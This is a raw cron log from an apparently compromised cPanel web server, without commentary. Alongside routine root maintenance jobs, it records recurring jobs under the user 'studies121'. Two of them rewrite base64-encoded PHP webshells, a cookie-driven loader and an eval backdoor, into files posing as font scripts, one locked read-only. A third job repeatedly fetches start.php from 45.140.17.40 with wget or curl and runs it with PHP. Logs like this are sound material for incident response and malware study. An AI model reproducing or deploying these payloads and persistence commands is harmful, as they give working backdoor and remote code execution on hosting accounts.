Sep  6 15:05:01 ip-184-168-122-23 CROND[15644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:05:01 ip-184-168-122-23 CROND[15646]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 15:05:01 ip-184-168-122-23 CROND[15647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:05:01 ip-184-168-122-23 CROND[15652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:05:01 ip-184-168-122-23 CROND[15649]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:05:01 ip-184-168-122-23 CROND[15651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:06:01 ip-184-168-122-23 CROND[15785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:06:01 ip-184-168-122-23 CROND[15787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:06:01 ip-184-168-122-23 CROND[15788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:06:01 ip-184-168-122-23 CROND[15789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:06:01 ip-184-168-122-23 CROND[15790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:07:02 ip-184-168-122-23 CROND[15969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:07:02 ip-184-168-122-23 CROND[15970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:07:02 ip-184-168-122-23 CROND[15971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:07:02 ip-184-168-122-23 CROND[15973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:08:01 ip-184-168-122-23 CROND[16155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:08:01 ip-184-168-122-23 CROND[16157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:08:01 ip-184-168-122-23 CROND[16158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:08:01 ip-184-168-122-23 CROND[16159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:08:01 ip-184-168-122-23 CROND[16160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:09:01 ip-184-168-122-23 CROND[16425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:09:01 ip-184-168-122-23 CROND[16426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:09:01 ip-184-168-122-23 CROND[16430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:09:01 ip-184-168-122-23 CROND[16431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:09:01 ip-184-168-122-23 CROND[16428]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:10:01 ip-184-168-122-23 CROND[16646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16647]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:10:01 ip-184-168-122-23 CROND[16649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:11:01 ip-184-168-122-23 CROND[16785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:11:01 ip-184-168-122-23 CROND[16786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:11:01 ip-184-168-122-23 CROND[16787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:11:01 ip-184-168-122-23 CROND[16788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:12:01 ip-184-168-122-23 CROND[16943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:12:01 ip-184-168-122-23 CROND[16946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:12:01 ip-184-168-122-23 CROND[16945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:12:01 ip-184-168-122-23 CROND[16948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:12:01 ip-184-168-122-23 CROND[16947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:13:01 ip-184-168-122-23 CROND[17136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:13:01 ip-184-168-122-23 CROND[17137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:13:01 ip-184-168-122-23 CROND[17142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:13:01 ip-184-168-122-23 CROND[17144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:14:01 ip-184-168-122-23 CROND[17364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:14:01 ip-184-168-122-23 CROND[17366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:14:01 ip-184-168-122-23 CROND[17367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:14:01 ip-184-168-122-23 CROND[17368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:14:01 ip-184-168-122-23 CROND[17369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:15:01 ip-184-168-122-23 CROND[17644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 15:15:01 ip-184-168-122-23 CROND[17645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 15:15:01 ip-184-168-122-23 CROND[17647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:15:01 ip-184-168-122-23 CROND[17648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:15:01 ip-184-168-122-23 CROND[17649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:15:01 ip-184-168-122-23 CROND[17646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:16:01 ip-184-168-122-23 CROND[17811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 15:16:01 ip-184-168-122-23 CROND[17813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 15:16:01 ip-184-168-122-23 CROND[17814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 15:16:01 ip-184-168-122-23 CROND[17815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 15:16:01 ip-184-168-122-23 CROND[17816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 15:16:01 ip-184-168-122-23 CROND[17817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 15:17:02 ip-184-168-122-23 CROND[17968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
